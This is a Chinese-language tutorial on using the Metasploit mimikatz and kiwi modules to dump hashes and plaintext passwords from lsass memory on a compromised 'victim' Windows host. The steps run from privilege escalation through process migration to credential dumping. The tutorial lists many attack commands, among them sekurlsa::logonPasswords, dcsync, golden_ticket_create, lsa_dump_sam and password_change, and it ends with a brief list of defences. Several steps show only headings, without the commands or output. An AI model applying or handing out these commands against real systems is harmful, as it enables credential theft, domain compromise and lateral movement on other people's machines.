文章目录
一、目的/需求
拿到victim的控制权限,需要远程登录victim的主机,这时需要获取对方的登录密码。
二、MSF的mimikatz模块获取密码
2.1 模块介绍
1. 介绍:
Mimikatz由法国人开发的轻量级调试工具,MSF中集成了该工具,可以直接在lsass中获取当前登录过系统用户的用户明文密码和通过伪造黄金票据获取域控制密码等用户。
2. 原理:
lsass是微软Windows系统的安全机制,主要用于本地安全和登录策略,输入密码后密码会存储在lsass内存中,经过wdigest和tspkg两个模块调用后发生使用可逆算法进行加密并存储到内存中,mimikatz通过逆算法获取明文密码。
2.2 前提条件
- 拿到shell普通用户控制权限
- 拿到shell操作系统控制权限
2.3 操作方法
2.3.1 权限提升(略)
这里已经获得了一个meterpreter shell(过程略),是一个普通账户权限,需要进行权限提升到系统用户才可以:
否则会报如下错误,权限提升可以参考:BypassUAC方式总结 进行提权
已经提权成功,开始进入正文
2.3.2 进程迁移
Tips:如果操作系统是64位需要进行进程迁移将当前进程迁移到64位进程中
》》查看目标操作系统位数(64位)
》》查看当前进程
》》查看待迁入的进程(PID 556)
》》将当前进程嵌入到64位系统账户的lsass.exe中
2.3.3 获取哈希
-
方法一
》》MSF加载mimikatz模块
》》获取hash
-
方法二
》》使用定制的命令获取
2.2.4 获取密码
- 方法一
》》获取明文密码(kerberos相关模块)
》》获取明文密码(tspkg凭证模块)
》》获取明文密码(wdigest凭证模块)
- 方法二
》》使用定制命令获取
2.2.5 其它命令
system::user-----查看当前登录的系统用户
system::computer-------查看计算机名称
process::list------------------列出进程
process::suspend 进程名称 -----暂停进程
process::stop 进程名称---------结束进程
process::modules --列出系统的核心模块及所在位置
service::list---------------列出系统的服务
service::remove-----------移除系统的服务
service::start stop 服务名称--启动或停止服务
privilege::list---------------列出权限列表
privilege::enable--------激活一个或多个权限
privilege::debug-----------------提升权限
nogpo::cmd------------打开系统的cmd.exe
nogpo::regedit -----------打开系统的注册表
nogpo::taskmgr-------------打开任务管理器
ts::sessions-----------------显示当前的会话
ts::processes------显示进程和对应的pid情况等
sekurlsa::wdigest-----获取本地用户信息及密码
sekurlsa::tspkg------获取tspkg用户信息及密码
sekurlsa::logonPasswords--获登陆用户信息及密码
sekurlsa::minidump 1.dmp--导出文件
举例:(查看当前登录的用户)
三、MSF的kiwi模块获取密码
3.1 模块介绍
mimikatz模块已合并成了kiwi模块,该模块支持mimikatz所用功能且更加强大。
3.2 操作方法
》》获取了msf shell 》》进行提权 》》进程转移(略)
》》加载模块
(参数一览:)
creds_all:列举所有凭据(慎用,执行后 目标操作系统会一分钟后重启)
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令(后面接mimikatz.exe的命令)
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
3.2.1 获取密码
kiwi_cmd命令可以使用mimikatz的全部功能,后边接mimikatz命令
四、防御措施
- 加入保护用户组
- 安装KB2871997补丁程序
- 修改注册表键值HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”项设置成0